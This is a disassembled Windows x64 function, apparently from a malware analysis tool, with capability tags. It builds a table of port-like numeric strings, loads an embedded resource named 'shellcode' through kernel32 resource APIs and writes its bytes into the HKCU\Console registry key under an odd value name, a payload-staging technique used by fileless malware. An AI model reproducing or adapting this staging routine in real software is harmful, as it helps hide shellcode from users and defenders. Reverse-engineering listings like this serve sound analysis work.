Function at 0x140002b30
Capabilities:
Extract resource via kernel32 functions
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x910]
sub rsp, 0xa10
mov r15, rcx
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp - 0x70], xmm1
mov r8d, 4
lea rdx, str.1234
lea rcx, [rbp - 0x80]
call fcn.140007260
mov qword [rbp - 0x60], 0x4d2
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
xor r14d, r14d
mov qword [rbp - 0x48], r14
mov qword [rbp - 0x40], r14
lea r8d, [r14 + 4]
lea rdx, str.6001
lea rcx, [rbp - 0x58]
call fcn.140007260
mov qword [rbp - 0x38], 0x1771
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp - 0x20], xmm1
lea r8d, [r14 + 4]
lea rdx, str.6002
lea rcx, [rbp - 0x30]
call fcn.140007260
mov qword [rbp - 0x10], 0x1772
xorps xmm0, xmm0
movups xmmword [rbp - 8], xmm0
mov qword [rbp + 8], r14
mov qword [rbp + 0x10], r14
lea r8d, [r14 + 4]
lea rdx, str.6003
lea rcx, [rbp - 8]
call fcn.140007260
mov qword [rbp + 0x18], 0x1773
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x30], xmm1
lea r8d, [r14 + 4]
lea rdx, str.6004
lea rcx, [rbp + 0x20]
call fcn.140007260
mov qword [rbp + 0x40], 0x1774
xorps xmm0, xmm0
movups xmmword [rbp + 0x48], xmm0
mov qword [rbp + 0x58], r14
mov qword [rbp + 0x60], r14
lea r8d, [r14 + 4]
lea rdx, str.6005
lea rcx, [rbp + 0x48]
call fcn.140007260
mov qword [rbp + 0x68], 0x1775
xorps xmm0, xmm0
movups xmmword [rbp + 0x70], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x80], xmm1
lea r8d, [r14 + 4]
lea rdx, str.6006
lea rcx, [rbp + 0x70]
call fcn.140007260
mov qword [rbp + 0x90], 0x1776
xorps xmm0, xmm0
movups xmmword [rbp + 0x98], xmm0
mov qword [rbp + 0xa8], r14
mov qword [rbp + 0xb0], r14
lea r8d, [r14 + 4]
lea rdx, str.6007
lea rcx, [rbp + 0x98]
call fcn.140007260
mov qword [rbp + 0xb8], 0x1777
xorps xmm0, xmm0
movups xmmword [rbp + 0xc0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0xd0], xmm1
lea r8d, [r14 + 4]
lea rdx, str.6008
lea rcx, [rbp + 0xc0]
call fcn.140007260
mov qword [rbp + 0xe0], 0x1778
xorps xmm0, xmm0
movups xmmword [rbp + 0xe8], xmm0
mov qword [rbp + 0xf8], r14
mov qword [rbp + 0x100], r14
lea r8d, [r14 + 4]
lea rdx, str.6009
lea rcx, [rbp + 0xe8]
call fcn.140007260
mov qword [rbp + 0x108], 0x1779
xorps xmm0, xmm0
movups xmmword [rbp + 0x110], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x120], xmm1
lea r8d, [r14 + 4]
lea rdx, str.6010
lea rcx, [rbp + 0x110]
call fcn.140007260
mov qword [rbp + 0x130], 0x177a
xorps xmm0, xmm0
movups xmmword [rbp + 0x138], xmm0
mov qword [rbp + 0x148], r14
mov qword [rbp + 0x150], r14
lea r8d, [r14 + 4]
lea rdx, str.6011
lea rcx, [rbp + 0x138]
call fcn.140007260
mov qword [rbp + 0x158], 0x177b
xorps xmm0, xmm0
movups xmmword [rbp + 0x160], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x170], xmm1
lea r8d, [r14 + 4]
lea rdx, str.6012
lea rcx, [rbp + 0x160]
call fcn.140007260
mov qword [rbp + 0x180], 0x177c
xorps xmm0, xmm0
movups xmmword [rbp + 0x188], xmm0
mov qword [rbp + 0x198], r14
mov qword [rbp + 0x1a0], r14
lea r8d, [r14 + 4]
lea rdx, str.6013
lea rcx, [rbp + 0x188]
call fcn.140007260
mov qword [rbp + 0x1a8], 0x177d
xorps xmm0, xmm0
movups xmmword [rbp + 0x1b0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x1c0], xmm1
lea r8d, [r14 + 4]
lea rdx, str.6014
lea rcx, [rbp + 0x1b0]
call fcn.140007260
mov qword [rbp + 0x1d0], 0x177e
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d8], xmm0
mov qword [rbp + 0x1e8], r14
mov qword [rbp + 0x1f0], r14
lea r8d, [r14 + 4]
lea rdx, str.6015
lea rcx, [rbp + 0x1d8]
call fcn.140007260
mov qword [rbp + 0x1f8], 0x177f
xorps xmm0, xmm0
movups xmmword [rbp + 0x200], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x210], xmm1
lea r8d, [r14 + 4]
lea rdx, str.6016
lea rcx, [rbp + 0x200]
call fcn.140007260
mov qword [rbp + 0x220], 0x1780
xorps xmm0, xmm0
movups xmmword [rbp + 0x228], xmm0
mov qword [rbp + 0x238], r14
mov qword [rbp + 0x240], r14
lea r8d, [r14 + 4]
lea rdx, str.6017
lea rcx, [rbp + 0x228]
call fcn.140007260
mov qword [rbp + 0x248], 0x1781
xorps xmm0, xmm0
movups xmmword [rbp + 0x250], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x260], xmm1
lea r8d, [r14 + 4]
lea rdx, str.6018
lea rcx, [rbp + 0x250]
call fcn.140007260
mov qword [rbp + 0x270], 0x1782
xorps xmm0, xmm0
movups xmmword [rbp + 0x278], xmm0
mov qword [rbp + 0x288], r14
mov qword [rbp + 0x290], r14
lea r8d, [r14 + 4]
lea rdx, str.6019
lea rcx, [rbp + 0x278]
call fcn.140007260
mov qword [rbp + 0x298], 0x1783
xorps xmm0, xmm0
movups xmmword [rbp + 0x2a0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x2b0], xmm1
lea r8d, [r14 + 4]
lea rdx, str.6020
lea rcx, [rbp + 0x2a0]
call fcn.140007260
mov qword [rbp + 0x2c0], 0x1784
xorps xmm0, xmm0
movups xmmword [rbp + 0x2c8], xmm0
mov qword [rbp + 0x2d8], r14
mov qword [rbp + 0x2e0], r14
lea r8d, [r14 + 4]
lea rdx, str.6021
lea rcx, [rbp + 0x2c8]
call fcn.140007260
mov qword [rbp + 0x2e8], 0x1785
xorps xmm0, xmm0
movups xmmword [rbp + 0x2f0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x300], xmm1
lea r8d, [r14 + 4]
lea rdx, str.6022
lea rcx, [rbp + 0x2f0]
call fcn.140007260
mov qword [rbp + 0x310], 0x1786
xorps xmm0, xmm0
movups xmmword [rbp + 0x318], xmm0
mov qword [rbp + 0x328], r14
mov qword [rbp + 0x330], r14
lea r8d, [r14 + 4]
lea rdx, str.6023
lea rcx, [rbp + 0x318]
call fcn.140007260
mov qword [rbp + 0x338], 0x1787
xorps xmm0, xmm0
movups xmmword [rbp + 0x340], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x350], xmm1
lea r8d, [r14 + 4]
lea rdx, str.6024
lea rcx, [rbp + 0x340]
call fcn.140007260
mov qword [rbp + 0x360], 0x1788
xorps xmm0, xmm0
movups xmmword [rbp + 0x368], xmm0
mov qword [rbp + 0x378], r14
mov qword [rbp + 0x380], r14
lea r8d, [r14 + 4]
lea rdx, str.6025
lea rcx, [rbp + 0x368]
call fcn.140007260
mov qword [rbp + 0x388], 0x1789
xorps xmm0, xmm0
movups xmmword [rbp + 0x390], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x3a0], xmm1
lea r8d, [r14 + 4]
lea rdx, str.6026
lea rcx, [rbp + 0x390]
call fcn.140007260
mov qword [rbp + 0x3b0], 0x178a
xorps xmm0, xmm0
movups xmmword [rbp + 0x3b8], xmm0
mov qword [rbp + 0x3c8], r14
mov qword [rbp + 0x3d0], r14
lea r8d, [r14 + 4]
lea rdx, str.6027
lea rcx, [rbp + 0x3b8]
call fcn.140007260
mov qword [rbp + 0x3d8], 0x178b
xorps xmm0, xmm0
movups xmmword [rbp + 0x3e0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x3f0], xmm1
lea r8d, [r14 + 4]
lea rdx, str.6028
lea rcx, [rbp + 0x3e0]
call fcn.140007260
mov qword [rbp + 0x400], 0x178c
xorps xmm0, xmm0
movups xmmword [rbp + 0x408], xmm0
mov qword [rbp + 0x418], r14
mov qword [rbp + 0x420], r14
lea r8d, [r14 + 4]
lea rdx, str.6029
lea rcx, [rbp + 0x408]
call fcn.140007260
mov qword [rbp + 0x428], 0x178d
xorps xmm0, xmm0
movups xmmword [rbp + 0x430], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x440], xmm1
lea r8d, [r14 + 4]
lea rdx, str.6030
lea rcx, [rbp + 0x430]
call fcn.140007260
mov qword [rbp + 0x450], 0x178e
xorps xmm0, xmm0
movups xmmword [rbp + 0x458], xmm0
mov qword [rbp + 0x468], r14
mov qword [rbp + 0x470], r14
lea r8d, [r14 + 4]
lea rdx, str.6031
lea rcx, [rbp + 0x458]
call fcn.140007260
mov qword [rbp + 0x478], 0x178f
xorps xmm0, xmm0
movups xmmword [rbp + 0x480], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x490], xmm1
lea r8d, [r14 + 4]
lea rdx, str.6032
lea rcx, [rbp + 0x480]
call fcn.140007260
mov qword [rbp + 0x4a0], 0x1790
xorps xmm0, xmm0
movups xmmword [rbp + 0x4a8], xmm0
mov qword [rbp + 0x4b8], r14
mov qword [rbp + 0x4c0], r14
lea r8d, [r14 + 4]
lea rdx, str.6033
lea rcx, [rbp + 0x4a8]
call fcn.140007260
mov qword [rbp + 0x4c8], 0x1791
xorps xmm0, xmm0
movups xmmword [rbp + 0x4d0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x4e0], xmm1
lea r8d, [r14 + 4]
lea rdx, str.6034
lea rcx, [rbp + 0x4d0]
call fcn.140007260
mov qword [rbp + 0x4f0], 0x1792
xorps xmm0, xmm0
movups xmmword [rbp + 0x4f8], xmm0
mov qword [rbp + 0x508], r14
mov qword [rbp + 0x510], r14
lea r8d, [r14 + 4]
lea rdx, str.6035
lea rcx, [rbp + 0x4f8]
call fcn.140007260
mov qword [rbp + 0x518], 0x1793
xorps xmm0, xmm0
movups xmmword [rbp + 0x520], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x530], xmm1
lea r8d, [r14 + 4]
lea rdx, str.6036
lea rcx, [rbp + 0x520]
call fcn.140007260
mov qword [rbp + 0x540], 0x1794
xorps xmm0, xmm0
movups xmmword [rbp + 0x548], xmm0
mov qword [rbp + 0x558], r14
mov qword [rbp + 0x560], r14
lea r8d, [r14 + 4]
lea rdx, str.6037
lea rcx, [rbp + 0x548]
call fcn.140007260
mov qword [rbp + 0x568], 0x1795
xorps xmm0, xmm0
movups xmmword [rbp + 0x570], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x580], xmm1
lea r8d, [r14 + 4]
lea rdx, str.6038
lea rcx, [rbp + 0x570]
call fcn.140007260
mov qword [rbp + 0x590], 0x1796
xorps xmm0, xmm0
movups xmmword [rbp + 0x598], xmm0
mov qword [rbp + 0x5a8], r14
mov qword [rbp + 0x5b0], r14
lea r8d, [r14 + 4]
lea rdx, str.6039
lea rcx, [rbp + 0x598]
call fcn.140007260
mov qword [rbp + 0x5b8], 0x1797
xorps xmm0, xmm0
movups xmmword [rbp + 0x5c0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x5d0], xmm1
lea r8d, [r14 + 4]
lea rdx, str.6040
lea rcx, [rbp + 0x5c0]
call fcn.140007260
mov qword [rbp + 0x5e0], 0x1798
xorps xmm0, xmm0
movups xmmword [rbp + 0x5e8], xmm0
mov qword [rbp + 0x5f8], r14
mov qword [rbp + 0x600], r14
lea r8d, [r14 + 4]
lea rdx, str.6041
lea rcx, [rbp + 0x5e8]
call fcn.140007260
mov qword [rbp + 0x608], 0x1799
xorps xmm0, xmm0
movups xmmword [rbp + 0x610], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x620], xmm1
lea r8d, [r14 + 4]
lea rdx, str.6042
lea rcx, [rbp + 0x610]
call fcn.140007260
mov qword [rbp + 0x630], 0x179a
xorps xmm0, xmm0
movups xmmword [rbp + 0x638], xmm0
mov qword [rbp + 0x648], r14
mov qword [rbp + 0x650], r14
lea r8d, [r14 + 4]
lea rdx, str.6043
lea rcx, [rbp + 0x638]
call fcn.140007260
mov qword [rbp + 0x658], 0x179b
xorps xmm0, xmm0
movups xmmword [rbp + 0x660], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x670], xmm1
lea r8d, [r14 + 4]
lea rdx, str.6044
lea rcx, [rbp + 0x660]
call fcn.140007260
mov qword [rbp + 0x680], 0x179c
xorps xmm0, xmm0
movups xmmword [rbp + 0x688], xmm0
mov qword [rbp + 0x698], r14
mov qword [rbp + 0x6a0], r14
lea r8d, [r14 + 4]
lea rdx, str.6045
lea rcx, [rbp + 0x688]
call fcn.140007260
mov qword [rbp + 0x6a8], 0x179d
xorps xmm0, xmm0
movups xmmword [rbp + 0x6b0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x6c0], xmm1
lea r8d, [r14 + 4]
lea rdx, str.6046
lea rcx, [rbp + 0x6b0]
call fcn.140007260
mov qword [rbp + 0x6d0], 0x179e
xorps xmm0, xmm0
movups xmmword [rbp + 0x6d8], xmm0
mov qword [rbp + 0x6e8], r14
mov qword [rbp + 0x6f0], r14
lea r8d, [r14 + 4]
lea rdx, str.6047
lea rcx, [rbp + 0x6d8]
call fcn.140007260
mov qword [rbp + 0x6f8], 0x179f
xorps xmm0, xmm0
movups xmmword [rbp + 0x700], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x710], xmm1
lea r8d, [r14 + 4]
lea rdx, str.6048
lea rcx, [rbp + 0x700]
call fcn.140007260
mov qword [rbp + 0x720], 0x17a0
xorps xmm0, xmm0
movups xmmword [rbp + 0x728], xmm0
mov qword [rbp + 0x738], r14
mov qword [rbp + 0x740], r14
lea r8d, [r14 + 4]
lea rdx, str.6049
lea rcx, [rbp + 0x728]
call fcn.140007260
mov qword [rbp + 0x748], 0x17a1
xorps xmm0, xmm0
movups xmmword [rbp + 0x750], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x760], xmm1
lea r8d, [r14 + 4]
lea rdx, str.6050
lea rcx, [rbp + 0x750]
call fcn.140007260
mov qword [rbp + 0x770], 0x17a2
xorps xmm0, xmm0
movups xmmword [rbp + 0x778], xmm0
mov qword [rbp + 0x788], r14
mov qword [rbp + 0x790], r14
lea r8d, [r14 + 4]
lea rdx, str.6051
lea rcx, [rbp + 0x778]
call fcn.140007260
mov qword [rbp + 0x798], 0x17a3
xorps xmm0, xmm0
movups xmmword [rbp + 0x7a0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x7b0], xmm1
lea r8d, [r14 + 4]
lea rdx, str.6052
lea rcx, [rbp + 0x7a0]
call fcn.140007260
mov qword [rbp + 0x7c0], 0x17a4
xorps xmm0, xmm0
movups xmmword [rbp + 0x7c8], xmm0
mov qword [rbp + 0x7d8], r14
mov qword [rbp + 0x7e0], r14
lea r8d, [r14 + 4]
lea rdx, str.6053
lea rcx, [rbp + 0x7c8]
call fcn.140007260
mov qword [rbp + 0x7e8], 0x17a5
xorps xmm0, xmm0
movups xmmword [rbp + 0x7f0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x800], xmm1
lea r8d, [r14 + 4]
lea rdx, str.6054
lea rcx, [rbp + 0x7f0]
call fcn.140007260
mov qword [rbp + 0x810], 0x17a6
xorps xmm0, xmm0
movups xmmword [rbp + 0x818], xmm0
mov qword [rbp + 0x828], r14
mov qword [rbp + 0x830], r14
lea r8d, [r14 + 4]
lea rdx, str.6055
lea rcx, [rbp + 0x818]
call fcn.140007260
mov qword [rbp + 0x838], 0x17a7
xorps xmm0, xmm0
movups xmmword [rbp + 0x840], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x850], xmm1
lea r8d, [r14 + 4]
lea rdx, str.6056
lea rcx, [rbp + 0x840]
call fcn.140007260
mov qword [rbp + 0x860], 0x17a8
xorps xmm0, xmm0
movups xmmword [rbp + 0x868], xmm0
mov qword [rbp + 0x878], r14
mov qword [rbp + 0x880], r14
lea r8d, [r14 + 4]
lea rdx, str.6057
lea rcx, [rbp + 0x868]
call fcn.140007260
mov qword [rbp + 0x888], 0x17a9
xorps xmm0, xmm0
movups xmmword [rbp + 0x890], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x8a0], xmm1
lea r8d, [r14 + 4]
lea rdx, str.6058
lea rcx, [rbp + 0x890]
call fcn.140007260
mov qword [rbp + 0x8b0], 0x17aa
xorps xmm0, xmm0
movups xmmword [rbp + 0x8b8], xmm0
mov qword [rbp + 0x8c8], r14
mov qword [rbp + 0x8d0], r14
lea r8d, [r14 + 4]
lea rdx, str.6059
lea rcx, [rbp + 0x8b8]
call fcn.140007260
mov qword [rbp + 0x8d8], 0x17ab
xorps xmm0, xmm0
movups xmmword [rbp + 0x8e0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x8f0], xmm1
lea r8d, [r14 + 4]
lea rdx, str.6060
lea rcx, [rbp + 0x8e0]
call fcn.140007260
mov qword [rbp + 0x900], 0x17ac
lea rax, [rbp - 0x80]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x908]
mov qword [rsp + 0x38], rax
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x40]
call fcn.140004510
nop
lea r9, [0x140003b20]
lea edx, [r14 + 0x28]
lea r8d, [r14 + 0x3d]
lea rcx, [rbp - 0x80]
call fcn.1400085cc
mov r10, qword [rsp + 0x48]
mov rax, qword [r10]
cmp rax, r10
je 0x140003b13
mov r13, qword [r15 + 0x18]
mov r12, qword [r15 + 0x10]
lea r11, [rax + 0x10]
cmp qword [rax + 0x28], 7
jbe 0x1400038e2
mov r11, qword [rax + 0x10]
mov rsi, r15
cmp r13, 7
jbe 0x1400038ee
mov rsi, qword [r15]
mov rbx, qword [rax + 0x20]
cmp rbx, r12
ja 0x140003976
mov rcx, r12
sub rcx, rbx
test rbx, rbx
je 0x140003990
inc rcx
lea r14, [rsi + rcx*2]
mov rcx, rsi
mov rdx, r14
sub rdx, rcx
sar rdx, 1
je 0x140003971
movzx r8d, word [r11]
cmp word [rcx], r8w
je 0x140003935
add rcx, 2
sub rdx, 1
jne 0x140003923
jmp 0x140003971
test rcx, rcx
je 0x140003971
mov r9, rbx
mov r8, r11
test rbx, rbx
je 0x140003965
mov r10, rcx
sub r10, r11
nop dword [rax + rax]
movzx edx, word [r8]
cmp word [r10 + r8], dx
jne 0x14000398a
add r8, 2
sub r9, 1
jne 0x140003950
sub rcx, rsi
sar rcx, 1
cmp rcx, 0xffffffffffffffff
jne 0x140003990
mov r10, qword [rsp + 0x48]
mov rcx, qword [rax]
mov rax, rcx
cmp rcx, r10
je 0x140003b13
jmp 0x1400038d3
add rcx, 2
jmp 0x140003914
mov rbx, qword [rax + 0x30]
lea r8, str.shellcode
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rdi, rax
test rax, rax
jne 0x1400039d9
lea rdx, str.Failed_to_find_the_resource1:
lea rcx, [0x140044930]
call fcn.140006ab0
mov rcx, rax
mov rdx, rbx
call fcn.140006ab0
mov rcx, rax
call fcn.140006d70
jmp 0x140003a85
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, eax
test eax, eax
jne 0x1400039f3
lea rdx, str.Failed_to_get_the_size_of_the_resource:
jmp 0x1400039b5
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
jne 0x140003a0c
lea rdx, str.Failed_to_load_the_resource2:
jmp 0x1400039b5
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdi, rax
test rax, rax
jne 0x140003a26
lea rdx, str.Failed_to_lock_the_resource3:
jmp 0x1400039b5
lea rax, [rbp + 0x948]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, str.Console
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140003a85
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rdi
lea r9d, [rax + 3]
xor r8d, r8d
lea rdx, str.qweasd321zxc
mov rcx, qword [rbp + 0x948]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp + 0x948]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x140003ad3
mov rdx, qword [rsp + 0x68]
sub rdx, rcx
and rdx, 0xfffffffffffffff8
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003abc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b0d
call fcn.140008588
mov qword [rsp + 0x58], 0
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x60], xmm0
mov rdx, qword [rsp + 0x48]
call fcn.1400074a0
mov edx, 0x38
mov rcx, qword [rsp + 0x48]
call fcn.140008588
lea r11, [rsp + 0xa10]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140017628
nop
mov ecx, 1
call fcn.140011ea8
int3